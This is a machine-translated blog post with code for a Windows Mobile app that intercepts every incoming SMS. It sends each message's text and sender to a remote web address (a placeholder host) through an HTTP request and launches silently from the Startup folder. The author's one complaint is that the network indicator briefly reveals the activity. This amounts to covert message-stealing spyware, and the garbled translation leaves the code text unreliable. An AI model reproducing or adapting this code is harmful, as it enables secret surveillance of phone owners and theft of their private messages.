SDK Development Environment vs2008 wm6. Net CF 3.5
1. Read new SMS messages from the system
2. Save the text message content
3,ProgramIt runs automatically after it is started.
Implementation Code
1. subscribe to the messagereceived event. After receiving the text message, execute the revmsg_messagereceived method to process the text message.
Private messageinterceptor revmsg;
Private void messageservice ()
{
Revmsg = new messageinterceptor ();
Revmsg. messagereceived + = new messageinterceptoreventhandler (revmsg_messagereceived );
}
2. SMS Handling Methods
You can save the text message content to a specified link or a TXT file on your mobile phone.
Httpwebrequest request = (httpwebrequest) webrequest. Create ("http://www.xxxxxxxxx.com/xxxx? Nr = "+ MSG. Body. tostring () +" & LD = "+ MSG. From. tostring ());
Httpwebresponse response = (httpwebresponse) request. getresponse ();
Stream stream = response. getresponsestream ();
String webcontent = new streamreader (stream, system. Text. encoding. Default). readtoend ();
Stream. Close ();
Response. Close ();
3. Enable Automatic startup
When packaging the cab file, you only need to add the shortcut to the Startup Folder.
Disadvantage: when you save the text message content to the Web, the Edge Function of the mobile phone is enabled. The mobile phone has an Internet-connected e icon, which will be disabled after 2 minutes, you cannot find a method to quickly disable EDGE network labels.
If you find anything unreasonable and need improvement,Email Contact 328452421@qq.com (qq perennial not online, mail contact)Zhu Xiao. Exchange with each other. Thank you.
Http://download.csdn.net/source/3513130
By the way, there is a home in Xintai.